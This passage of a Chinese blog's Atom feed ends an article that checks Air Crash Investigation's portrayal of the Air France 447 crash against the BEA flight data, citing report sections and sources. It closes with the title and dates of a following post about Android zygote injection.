epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/4-3-fdr.png" alt=""></p><br><p>飞机就这样因为失速不断下坠,到了8000 ft,这个时候才发生明确的俯仰指令冲突,且FDR数据中有非常明确的“DUAL INPUT”警告,随后博南立刻放开了手,并非该片中所说的“两位飞行员输入相反,导致在没有警告的情况下相互抵消”;随后两位飞行员都开始拉杆;此时高度过低已无力回天,飞机坠入了冰冷的大西洋,机上228人全部罹难,R.I.P.<br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/5-1-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/5-2-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/5-3-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/5-4-fdr.png" alt=""><br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/5-5-fdr.png" alt=""></p><br><br><p>另附一些有趣的细节:</p><ol><li>对其他机组进行类似状况模拟,有多个机组未能正确认识当前状态(见调查报告 1.16.2 及 1.16.8.4)。</li><li>残骸表明左座位在空难发生时在收回位(见调查报告 1.16.9)。</li><li>2006年5月3日,亚美尼亚航空967号班机在索契国际机场附近坠海,最终调查报告中提到在飞行的最后时刻,两位飞行员对侧杆做出了相反的输入,且“DUAL INPUT”警告因为优先级低于近地警告而被抑制。</li><li>法航A330“空速不可靠”操作手册:<br><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAAEsCAMAAABOo35HAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC9UExURVlZWdPT07KysmRkZIWFhfT09JmZmWZmZm9vb39/fxkZGUxMTDMzM3p6epCQkKamppubm729venp6cjIyN7e3tbW1s/Pz8LCwnx8fLS0tFZWVoiIiI+Pj6GhoeTk5Glpabu7u93d3evr66CgoJSUlKqqqsnJyeDg4Hd3d8PDw+Xl5bi4uNHR0dvb26Ojo6urq+fn51hYWDg4OCgoKHBwcK2traenp0FBQe7u7vHx8U5OTre3t8zMzHV1df///7GrnpQAAAA/dFJOU///////////////////////////////////////////////////////////////////////////////////AI4mfBcAAAUGSURBVHja7NoJb6M4GMZxY0NCD64kve/pMZ2d3Z297+X7f6zFNmBAMUXa6URl/q9UJSWPUPzrizFWRUlNLgEBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYYIEFAVhggQUWWGBBABZYYIEFFlgQgAUWWGCBBRYEYIEFFlhggQUBWGCBBRZYYEEAFlhggQUWWBCABRZYYIEFFgRggQUWWGCBBQFYYIEFFlhgQQAWWGCBBRZYEIAFFlhggQUWBGCBBRZYn6cCIcRXgvX/h9qcIVBqDdbEM8RCxGCB9QqXYRwHYDHBgwXWl8eKZKiESHI3Ba1kWs3fKixcaJUl1YyeBm7Ocq+yLItUiVBGnXxenSHJolIKEcwHq6ikbOX1YGVzQCTN8LPmSLreghUl9sN4Uw7yajMrLC0TZ1ImzqY6FEop0+pIaEN5HaoOxVuwEqFyc4I46uSlzOLqgxlh6UaR9l3VYWl9Fdoxb1Q90KJtu41pwwFW/WHhTtW8i7TafLCqRsk6bsGw63L9qurXRmuIlbT9lDQnlXU+nBFW1Q2qnZbDprWa2tjR90LZFqx1/+Td/HpGWLlrLDvIwTcx6dQ1Vrntbig68cDms3JwbA5Y1azs1ger6sNV/bbIw1jU81MvNAGrl58RVn8ozW+btF08iGFoAlYvP3csfVur1gJBEIA1uBmue5dhZDOyO2epbmgCVi8/I6x0MMHH9pjsTfBhNzQBq5uPZoQlB0uH3DZG4EZqQ26fL3sZq5uf09Ih6qw3i/pm6BZO0qZX7rrUS68Xsbr5ZE4rePMk08pk9aUZugfqppvs6AM1Acvlo/StP+6EbW06z8hJqxbYp2BZPQUnFsLsKuhQdaHqn5ewbF7KXIn0jWO5MqOQ7RaNLPtbNMmmhimj0GUmYLl8Gs0Lq4wyPbTu1l2QKqHSouzs3OlDIslW5SQsnY/NXmFplyNvEuuLV/Tau9BzwiraDUSwXmysztYWWNtL1psXeumgIrDGaqXvBfUuvtqUYI3V2t1wk1e2msFluJJm6zDJXv/fIfjPP7DAAgsssCiwwAILLLDAosACCyywwAKLAgsssMACC6zt9fDz/v75tyOB+98PD2+ORgKffjw4OP1uJPDxl+Xy8v1I4MPF3t7VNyOB4/vF4uzdzrG+39f1kz/w66Guv/yBvw90KX/gZKkr8Qf+2dOV+gNHC12/7RxrabD2/a31bLAO/a11YbAO/K21MFhLf2s9Gqw9f2vdGqzFu11jnVusE2/gxmI9eQOnFuvYG7i0WH7uK4t15w2cWazrXWP9a7H8f/bQYvm/6IPF+sF/pVssf19Ii/WH/0K2WH/uGuvEWC39gSdj9Twy+Rqri5EZx1gt/IE7Y/XoD1wbq9vd3w1PlufnD2OBp+ebm/uxwPHF6emnscDR4vLy41jg7vHq6sNY4Pr27OyYdRaLUrDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssMCiwAILLLDAAosCCyywwAILLAossMACCyywKLDAAgsssL6u+k+AAQCR9eHtLKvLfwAAAABJRU5ErkJggg==" data-original="https://cdn.jsdelivr.net/gh/canyie/canyie.github.io/data/image/af447-in-aci/unreliable-airspeed-checklist.png" alt=""></li></ol><br><br><p>至此,相信大家都了解了某文献剧是什么样的。</p><p>另附营销号笑话一则(纯娱乐,无恶意):<br>飞机是怎么飞起来的呢?飞机相信大家都很熟悉,但是飞机是怎么飞起来的呢,下面就让小编带大家一起了解吧。<br>飞机能飞起来,其实靠的就是引擎,而引擎是怎么工作的呢,其实和我们小时候玩的摇摇车是一样原理,投币就能工作,大家可能会很惊讶飞机怎么会靠引擎飞起来呢?但事实就是这样,小编也感到非常惊讶。<br>这就是关于飞机能飞起来的事情了,大家有什么想法呢,欢迎在评论区告诉小编一起讨论哦!</p><br><br><p>外部引用:</p><ul><li><a href="https://www.bea.aero/docspa/2009/f-cp090601.en/pdf/f-cp090601.en.pdf" target="_blank" rel="noopener">BEA发布的法航447空难最终调查报告(英文版)</a></li><li><a href="https://www.bilibili.com/video/BV1PW411N7sL" target="_blank" rel="noopener">BEA发布的法航447 FDR动画(中文翻译版)</a></li><li><a href="https://www.bilibili.com/video/BV1Cs411Z7hm" target="_blank" rel="noopener">《空中浩劫》S12E13:法国航空447号班机</a></li></ul>]]></content>
<summary type="html">
<p>2009年6月1日(UTC时间),法国航空447号班机(机型空中客车A330-203、注册号F-GZCP)在大西洋中部雷达盲区神秘失踪,后被证实坠毁,机上228人(乘客216人、机组成员12人)全数罹难。著名空难文献剧《Air Crash Investigation》(中文一般译为《空中浩劫》,以下简称ACI)在S12E13中收录了此事故,揭露了所谓的“空难真相”,将矛头直指副驾驶皮埃尔-塞德里克·博南(Pierre Cédric Bonin);同时,由于该片的知名度,让许多航空爱好者乃至真正的航空从业者认为该片所述即为事实。然而,真的是这样吗?</p>
</summary>
<category term="航空" scheme="https://blog.canyie.top/tags/%E8%88%AA%E7%A9%BA/"/>
</entry>
<entry>
<title>通过系统的native bridge实现注入zygote</title>
<link href="https://blog.canyie.top/2020/08/18/nbinjection/"/>
<id>https://blog.canyie.top/2020/08/18/nbinjection/</id>
<published>2020-08-18T12:17:23.000Z</published>
<updated>2020-10-25T02:53:44.425Z</updated>
